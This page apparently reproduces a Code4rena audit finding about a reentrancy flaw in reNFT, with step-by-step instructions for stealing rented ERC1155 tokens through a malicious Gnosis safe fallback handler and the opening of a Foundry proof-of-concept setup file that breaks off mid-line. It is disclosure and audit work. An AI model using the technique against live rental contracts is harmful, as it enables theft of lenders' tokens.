Skip to content
Race condition Audit finding Advanced

An attacker can hijack any ERC1155 token he rents due to a design issue in reNFT via reentrancy exploitation

reNFT registers a rental only after Seaport has already moved the lender's ERC1155 token into the borrower's Gnosis safe, and that transfer fires the safe's fallback handler. An attacker can use a custom fallback handler to forward the token out during that callback, before the rental exists, so the guard permits it and the rented token is stolen.

sin1st3r__ Follow with Beepidibop and hash

Originally disclosed on Code4rena

Submitted by sin1st3r__, also found by Beepidibop and hash

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe fallback handlers: Safes starting with version 1.1.1 allow to specify a fallback handler. A gnosis safe fallback handler is a contract which handles all functions that is unknown to the safe, this feature is meant to provide a great flexibility for the safe user. The safe in particular says “If I see something unknown, then I just let the fallback handler deal with it.”

    Example: If you want to take a uniswap flash loan using your gnosis safe, you’ll have to create a fallback handler contract with the callback function uniswapV2Call(). When you decide to take a flash loan using your safe, you’ll send a call to swap() in the uniswap contract. The uniswap contract will then reach out to your safe contract asking to call uniswapV2Call(), but uniswapV2Call() isn’t actually implemented in the safe contract itself, so your safe will reach out to the fallback handler you created, set as the safe’s fallback handler and ask it to handle the uniswapV2Call() TX coming from uniswap.

    Setting a fallback handler: To set a fallback handler for your safe, you’ll have to call the function setFallbackHandler() which you can find it’s logic in FallbackManager.sol


The Vulnerability


In order to make sense of the vulnerability, we need to understand the token transferral & rental registeration execution flow first.

Step 1: First of all, before the fulfillment process begins, both the lender and the borrower need to approve the Seaport Conduit to spend their tokens on behalf of them. The lender approves the conduit to spend the NFT token which he wants to lend (offer item) and the borrower approves the ERC20 tokens he will use as a payment method for this rental (consideration item).

Step 2: Once the fulfillment process begins, the conduit begins the token transferral process. The conduit transfers the lender’s NFT tokens to the borrower’s gnosis rental safe, then it transfers the borrower’s ERC20 tokens to the Payment Escrow.

Note 1: Keep in mind that the rental is not registered yet..

Note 2: The Seaport Conduit utilizes the safeTransferFrom function to transfer the ERC1155 tokens which will trigger onERC1155Receive hook on the receiver of the ERC1155 tokens, in this case, it’s the borrower’s rental safe. However, when it comes to the transferral of ERC721 tokens, it uses transferFrom and not safeTransferFrom.

Step 3: Once the tokens are transferred, Seaport will communicate with the Zone contract. You can think of the zone contract as a contract holding a callback function which is called after all the swaps are made. The contract which will be holding the callback function to be executed by Seaport is Create.sol and the callback function it is holding, which as I mentioned, will be called by Seaport, is validateOrder().

Step 4: Once the validateOrder() function is called, the rental registeration process will kick in. A series of internal functions will be called inside Create.sol which will verify the signatures of the order data it has received from seaport and then the internal function _rentFromZone will be called and this internal function will actually register the rental. It’ll communicate with the Storage module which holds all the rental data and ask it to add the rental.

Step 5: The rental is finally added.

Here is the full execution flow.

Note: to view the provided image, please see the original submission here.


The vulnerability


The main vulnerability exists within the fact that reNFT does not register the rental except after swapping the tokens, in addition to safeTransferFrom() being used to transfer ERC1155 tokens, which would of course, trigger the callback function onERC1155Receive() on the borrower’s safe.

The combination of those two factors allow for the exploitation of a reentrancy vulnerability allowing an attacker to hijack ANY ERC1155 tokens he rents.

Steps of exploitation


  1. The attacker will create a custom fallback handler contract which will contain an implementation of the onERC1155Receive() function, which will be triggered by the Seaport Conduit when it conducts the token swap and moves the lender’s NFT tokens to the borrower’s safe. The implementation of the onERC1155Receive() function will simply instruct the gnosis safe to transfer the tokens to the attacker’s address.

    Since the rental is not yet registered, the guard will let the transferral occur normally

  2. The attacker will create the rental safe which he’ll utilize to hijack the target ERC1155 token.

  3. The attacker will set the fallback handler address of his safe to be the address of the custom fallback handler contract he created.

  4. The attacker will initiate the rental process

  5. When the conduit transfers the lender’s ERC1155 token to the attacker’s safe using safeTransferFrom. It’ll request to call onERC1155Receive() on the attacker’s safe, but the onERC1155Receive() callback function isn’t implemented by default in the safe contract, so the safe contract will rely on the custom fallback handler (which the attacker set) and the onERC1155Receive() function in the fallback handler will be executed.

  6. When the onERC1155Receive() callback is executed in the custom fallback handler contract, the fallback handler will instruct gnosis to move the ERC1155 token rented to the attacker’s address. The gnosis guard will be disarmed and will allow the transferral to occur normally because it isn’t aware of the rental at this point.

  7. The ERC1155 token will be hijacked successfully.


Proof of concept


To run the PoC, you’ll need to do the following:

  1. You’ll need to add the following two files to the test/ folder:

    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You’ll need to run this command forge test --match-contract Exploit --match-test test_ERC1155_Exploit -vvv

The files:

SetupExploit.sol

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    ItemType as SeaportItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType,
    Fulfillment,
    FulfillmentComponent
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";

import {
    OrderMetadata,
    OrderType,
    OrderFulfillment,
    RentPayload,
    RentalOrder,
    Item,
    SettleTo,
    ItemType as RentalItemType
} from "@src/libraries/RentalStructs.sol";

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol";
import {Vm} from "@forge-std/Vm.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {LibString} from "@solady/utils/LibString.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol";
import {Create2Deployer} from "@src/Create2Deployer.sol";
import {Kernel, Actions} from "@src/Kernel.sol";
import {Storage} from "@src/modules/Storage.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Create} from "@src/policies/Create.sol";
import {Stop} from "@src/policies/Stop.sol";
import {Factory} from "@src/policies/Factory.sol";
import {Admin} from "@src/policies/Admin.sol";
import {Guard} from "@src/policies/Guard.sol";
import {toRole} from "@src/libraries/KernelUtils.sol";
import {Proxy} from "@src/proxy/Proxy.sol";
import {Events} from "@src/libraries/Events.sol";

import {ProtocolAccount} from "@test/utils/Types.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";

// Deploys all V3 protocol contracts
contract Protocol is BaseExternal {
    // Kernel
    Kernel public kernel;

    // Modules
    Storage public STORE;
    PaymentEscrow public ESCRW;

    // Module implementation addresses
    Storage public storageImplementation;
    PaymentEscrow public paymentEscrowImplementation;

    // Policies
    Create public create;
    Stop public stop;
    Factory public factory;
    Admin public admin;
    Guard public guard;

    // Protocol accounts
    Vm.Wallet public rentalSigner;
    Vm.Wallet public deployer;

    // protocol constants
    bytes12 public protocolVersion;
    bytes32 public salt;

    function _deployKernel() internal {
        // abi encode the kernel bytecode and constructor arguments
        bytes memory kernelInitCode = abi.encodePacked(
            type(Kernel).creationCode,
            abi.encode(deployer.addr, deployer.addr)
        );

        // Deploy kernel contract
        vm.prank(deployer.addr);
        kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode));

        // label the contract
        vm.label(address(kernel), "kernel");
    }

    function _deployStorageModule() internal {
        // abi encode the storage bytecode and constructor arguments
        // for the implementation contract
        bytes memory storageImplementationInitCode = abi.encodePacked(
            type(Storage).creationCode,
            abi.encode(address(0))
        );

        // Deploy storage implementation contract
        vm.prank(deployer.addr);
        storageImplementation = Storage(
            create2Deployer.deploy(salt, storageImplementationInitCode)
        );

        // abi encode the storage bytecode and initialization arguments
        // for the proxy contract
        bytes memory storageProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(storageImplementation),
                abi.encodeWithSelector(
                    Storage.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy storage proxy contract
        vm.prank(deployer.addr);
        STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode));

        // label the contracts
        vm.label(address(STORE), "STORE");
        vm.label(address(storageImplementation), "STORE_IMPLEMENTATION");
    }

    function _deployPaymentEscrowModule() internal {
        // abi encode the payment escrow bytecode and constructor arguments
        // for the implementation contract
        bytes memory paymentEscrowImplementationInitCode = abi.encodePacked(
            type(PaymentEscrow).creationCode,
            abi.encode(address(0))
        );

        // Deploy payment escrow implementation contract
        vm.prank(deployer.addr);
        paymentEscrowImplementation = PaymentEscrow(
            create2Deployer.deploy(salt, paymentEscrowImplementationInitCode)
        );

        // abi encode the payment escrow bytecode and initialization arguments
        // for the proxy contract
        bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(paymentEscrowImplementation),
                abi.encodeWithSelector(
                    PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy payment escrow contract
        vm.prank(deployer.addr);
        ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));

        // label the contracts
        vm.label(address(ESCRW), "ESCRW");
        vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION");
    }

    function _deployCreatePolicy() internal {
        // abi encode the create policy bytecode and constructor arguments
        bytes memory createInitCode = abi.encodePacked(
            type(Create).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy create rental policy contract
        vm.prank(deployer.addr);
        create = Create(create2Deployer.deploy(salt, createInitCode));

        // label the contract
        vm.label(address(create), "CreatePolicy");
    }

    function _deployStopPolicy() internal {
        // abi encode the stop policy bytecode and constructor arguments
        bytes memory stopInitCode = abi.encodePacked(
            type(Stop).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy stop rental policy contract
        vm.prank(deployer.addr);
        stop = Stop(create2Deployer.deploy(salt, stopInitCode));

        // label the contract
        vm.label(address(stop), "StopPolicy");
    }

    function _deployAdminPolicy() internal {
        // abi encode the admin policy bytecode and constructor arguments
        bytes memory adminInitCode = abi.encodePacked(
            type(Admin).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy admin policy contract
        vm.prank(deployer.addr);
        admin = Admin(create2Deployer.deploy(salt, adminInitCode));

        // label the contract
        vm.label(address(admin), "AdminPolicy");
    }

    function _deployGuardPolicy() internal {
        // abi encode the guard policy bytecode and constructor arguments
        bytes memory guardInitCode = abi.encodePacked(
            type(Guard).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy guard policy contract
        vm.prank(deployer.addr);
        guard = Guard(create2Deployer.deploy(salt, guardInitCode));

        // label the contract
        vm.label(address(guard), "GuardPolicy");
    }

    function _deployFactoryPolicy() internal {
        // abi encode the factory policy bytecode and constructor arguments
        bytes memory factoryInitCode = abi.encodePacked(
            type(Factory).creationCode,
            abi.encode(
                address(kernel),
                address(stop),
                address(guard),
                address(tokenCallbackHandler),
                address(safeProxyFactory),
                address(safeSingleton)
            )
        );

        // Deploy factory policy contract
        vm.prank(deployer.addr);
        factory = Factory(create2Deployer.deploy(salt, factoryInitCode));

        // label the contract
        vm.label(address(factory), "FactoryPolicy");
    }

    function _setupKernel() internal {
        // Start impersonating the deployer
        vm.startPrank(deployer.addr);

        // Install modules
        kernel.executeAction(Actions.InstallModule, address(STORE));
        kernel.executeAction(Actions.InstallModule, address(ESCRW));

        // Approve policies
        kernel.executeAction(Actions.ActivatePolicy, address(create));
        kernel.executeAction(Actions.ActivatePolicy, address(stop));
        kernel.executeAction(Actions.ActivatePolicy, address(factory));
        kernel.executeAction(Actions.ActivatePolicy, address(guard));
        kernel.executeAction(Actions.ActivatePolicy, address(admin));

        // Grant `seaport` role to seaport protocol
        kernel.grantRole(toRole("SEAPORT"), address(seaport));

        // Grant `signer` role to the protocol signer to sign off on create payloads
        kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr);

        // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol
        kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr);

        // Grant 'guard_admin` role to the address which can toggle hooks
        kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr);

        // Grant `stop_admin` role to the address which can skim funds from the payment escrow
        kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr);

        // Stop impersonating the deployer
        vm.stopPrank();
    }

    function setUp() public virtual override {
        // setup dependencies
        super.setUp();

        // create the rental signer address and private key
        rentalSigner = vm.createWallet("rentalSigner");

        // create the deployer address and private key
        deployer = vm.createWallet("deployer");

        // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract)
        protocolVersion = 0x000000000000000000000100;
        salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);

        // deploy kernel
        _deployKernel();

        // Deploy payment escrow
        _deployPaymentEscrowModule();

        // Deploy rental storage
        _deployStorageModule();

        // deploy create policy
        _deployCreatePolicy();

        // deploy stop policy
        _deployStopPolicy();

        // deploy admin policy
        _deployAdminPolicy();

        // Deploy guard policy
        _deployGuardPolicy();

        // deploy rental factory
        _deployFactoryPolicy();

        // intialize the kernel
        _setupKernel();
    }
}

// Creates test accounts to interact with the V3 protocol
// Borrowed from test/fixtures/protocol/AccountCreator
contract AccountCreator is Protocol {
    // Protocol accounts for testing
    ProtocolAccount public alice;
    ProtocolAccount public bob;
    ProtocolAccount public carol;
    ProtocolAccount public dan;
    ProtocolAccount public eve;
    ProtocolAccount public attacker;

    // Mock tokens for testing
    MockERC20[] public erc20s;
    MockERC721[] public erc721s;
    MockERC1155[] public erc1155s;

    function setUp() public virtual override {
        super.setUp();

        // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens
        _deployTokens(3);

        // instantiate all wallets and deploy rental safes for each
        alice = _fundWalletAndDeployRentalSafe("alice");
        bob = _fundWalletAndDeployRentalSafe("bob");
        carol = _fundWalletAndDeployRentalSafe("carol");
        dan = _fundWalletAndDeployRentalSafe("dan");
        eve = _fundWalletAndDeployRentalSafe("eve");
        attacker = _fundWalletAndDeployRentalSafe("attacker");

    }

    function _deployTokens(uint256 numTokens) internal {
        for (uint256 i; i < numTokens; i++) {
            _deployErc20Token();
            _deployErc721Token();
            _deployErc1155Token();
        }
    }

    function _deployErc20Token() internal returns (uint256 i) {
        // save the token's index
        i = erc20s.length;

        // deploy the mock token
        MockERC20 token = new MockERC20();

        // push the token to the array of mocks
        erc20s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC20_", LibString.toString(i)));
    }

    function _deployErc721Token() internal returns (uint256 i) {
        // save the token's index
        i = erc721s.length;

        // deploy the mock token
        MockERC721 token = new MockERC721();

        // push the token to the array of mocks
        erc721s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC721_", LibString.toString(i)));
    }

    function _deployErc1155Token() internal returns (uint256 i) {
        // save the token's index
        i = erc1155s.length;

        // deploy the mock token
        MockERC1155 token = new MockERC1155();

        // push the token to the array of mocks
        erc1155s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC1155_", LibString.toString(i)));
    }

    function _deployRentalSafe(
        address owner,
        string memory name
    ) internal returns (address safe) {
        // Deploy a 1/1 rental safe
        address[] memory owners = new address[](1);
        owners[0] = owner;
        safe = factory.deployRentalSafe(owners, 1);

    }

    function _fundWalletAndDeployRentalSafe(
        string memory name
    ) internal returns (ProtocolAccount memory account) {
        // create a wallet with a address, public key, and private key
        Vm.Wallet memory wallet = vm.createWallet(name);

        // deploy a rental safe for the address
        address rentalSafe = _deployRentalSafe(wallet.addr, name);

        // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s
        _allocateTokensAndApprovals(wallet.addr, 10000);

        // create an account
        account = ProtocolAccount({
            addr: wallet.addr,
            safe: SafeL2(payable(rentalSafe)),
            publicKeyX: wallet.publicKeyX,
            publicKeyY: wallet.publicKeyY,
            privateKey: wallet.privateKey
        });

    }

    function _allocateTokensAndApprovals(address to, uint128 amount) internal {
        // deal ether to the recipient
        vm.deal(to, amount);

        // mint all erc20 tokens to the recipient
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].mint(to, amount);
        }

        // set token approvals
        _setApprovals(to);
    }

    function _setApprovals(address owner) internal {
        // impersonate the owner address
        vm.startPrank(owner);

        // set all approvals for erc20 tokens
        for (uint256 i = 0; i < erc20s.length; ++i) {
            erc20s[i].approve(address(conduit), type(uint256).max);
        }

        // set all approvals for erc721 tokens
        for (uint256 i = 0; i < erc721s.length; ++i) {
            erc721s[i].setApprovalForAll(address(conduit), true);
        }

        // set all approvals for erc1155 tokens
        for (uint256 i = 0; i < erc1155s.length; ++i) {
            erc1155s[i].setApprovalForAll(address(conduit), true);
        }

        // stop impersonating
        vm.stopPrank();
    }
}

interface ERC1155TokenReceiver {

    function onERC1155Received(
        address _operator,
        address _from,
        uint256 _id,
        uint256 _value,
        bytes calldata _data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address _operator,
        address _from,
        uint256[] calldata _ids,
        uint256[] calldata _values,
        bytes calldata _data
    ) external returns (bytes4);
}

interface ERC721TokenReceiver {
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

/**
* Borrowed from gnosis safe smart contracts
* @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens.
* @author Richard Meissner - @rmeissner
*/
contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 {
    /**
    * @notice Handles ERC1155 Token callback.
    * return Standardized onERC1155Received return value.
    */
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0xf23a6e61;
    }

    /**
    * @notice Handles ERC1155 Token batch callback.
    * return Standardized onERC1155BatchReceived return value.
    */
    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external pure override returns (bytes4) {
        return 0xbc197c81;
    }

    /**
    * @notice Handles ERC721 Token callback.
    *  return Standardized onERC721Received return value.
    */
    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
        return 0x150b7a02;
    }

    /**
    * @notice Handles ERC777 Token callback.
    * return nothing (not standardized)
    */
    function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure {
        // We implement this for completeness, doesn't really have any value
    }

    /**
    * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165.
    * @param interfaceId Id of the interface.
    * @return if the interface is supported.
    */
    function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
        return
            interfaceId == type(ERC1155TokenReceiver).interfaceId ||
            interfaceId == type(ERC721TokenReceiver).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }

}

// Sets up logic in the test engine related to order creation
// Borrowed from test/fixtures/engine/OrderCreator
contract OrderCreator is AccountCreator {
    using OfferItemLib for OfferItem;
    using ConsiderationItemLib for ConsiderationItem;
    using OrderComponentsLib for OrderComponents;
    using OrderLib for Order;
    using ECDSA for bytes32;

    // defines a config for a standard order component
    string constant STANDARD_ORDER_COMPONENTS = "standard_order_components";

    struct OrderToCreate {
        ProtocolAccount offerer;
        OfferItem[] offerItems;
        ConsiderationItem[] considerationItems;
        OrderMetadata metadata;
    }

    // keeps track of tokens used during a test
    uint256[] usedOfferERC721s;
    uint256[] usedOfferERC1155s;

    uint256[] usedConsiderationERC721s;
    uint256[] usedConsiderationERC1155s;

    // components of an order
    OrderToCreate orderToCreate;

    function setUp() public virtual override {
        super.setUp();

        // Define a standard OrderComponents struct which is ready for
        // use with the Create Policy and the protocol conduit contract
        OrderComponentsLib
            .empty()
            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
            .withZone(address(create))
            .withStartTime(block.timestamp)
            .withEndTime(block.timestamp + 100)
            .withSalt(123456789)
            .withConduitKey(conduitKey)
            .saveDefault(STANDARD_ORDER_COMPONENTS);

        // for each test token, create a storage slot
        for (uint256 i = 0; i < erc721s.length; i++) {
            usedOfferERC721s.push();
            usedConsiderationERC721s.push();

            usedOfferERC1155s.push();
            usedConsiderationERC1155s.push();
        }
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                                Order Creation                               //
    /////////////////////////////////////////////////////////////////////////////////

    // creates an order based on the provided context. The defaults on this order
    // are good for most test cases.
    function createOrder(
        ProtocolAccount memory offerer,
        OrderType orderType,
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers,
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) internal {
        // require that the number of offer items or consideration items
        // dont exceed the number of test tokens
        require(
            erc721Offers <= erc721s.length &&
                erc721Offers <= erc1155s.length &&
                erc20Offers <= erc20s.length,
            "TEST: too many offer items defined"
        );
        require(
            erc721Considerations <= erc721s.length &&
                erc1155Considerations <= erc1155s.length &&
                erc20Considerations <= erc20s.length,
            "TEST: too many consideration items defined"
        );

        // create the offerer
        _createOfferer(offerer);

        // add the offer items
        _createOfferItems(erc721Offers, erc1155Offers, erc20Offers);

        // create the consideration items
        _createConsiderationItems(
            erc721Consi

The original report as published on Code4rena, by sin1st3r__. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the rental is recorded only after the token transfer, and the ERC1155 safe transfer callback lets attacker-controlled code run in that window.

Impact

An attacker could hijack any ERC1155 token they rent; the text notes ERC721 transfers use a different call and are not affected.

What the attacker needed

Attacker rents an ERC1155 token; attacker controls a rental safe; custom fallback handler contract

How it was found

  1. Create a custom fallback handler that implements the ERC1155 receive callback and forwards the token to the attacker.
  2. Create a rental safe to use for the hijack.
  3. Set the safe's fallback handler to the custom contract.
  4. Start the rental process.
  5. When the conduit transfers the ERC1155 token, the safe delegates the receive callback to the fallback handler.
  6. The handler moves the token to the attacker while the guard is unaware of any rental.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A rental safe is a smart wallet that can be told to hand unknown calls to a helper contract, called a fallback handler. The platform moves the borrowed token into that wallet before it records the rental, and the move triggers the helper. The attacker's helper simply sends the token onward while the platform still thinks nothing has been rented, so the theft is allowed.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by sin1st3r__

View all

11 more disclosed reports, best first.

More from reNFT

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.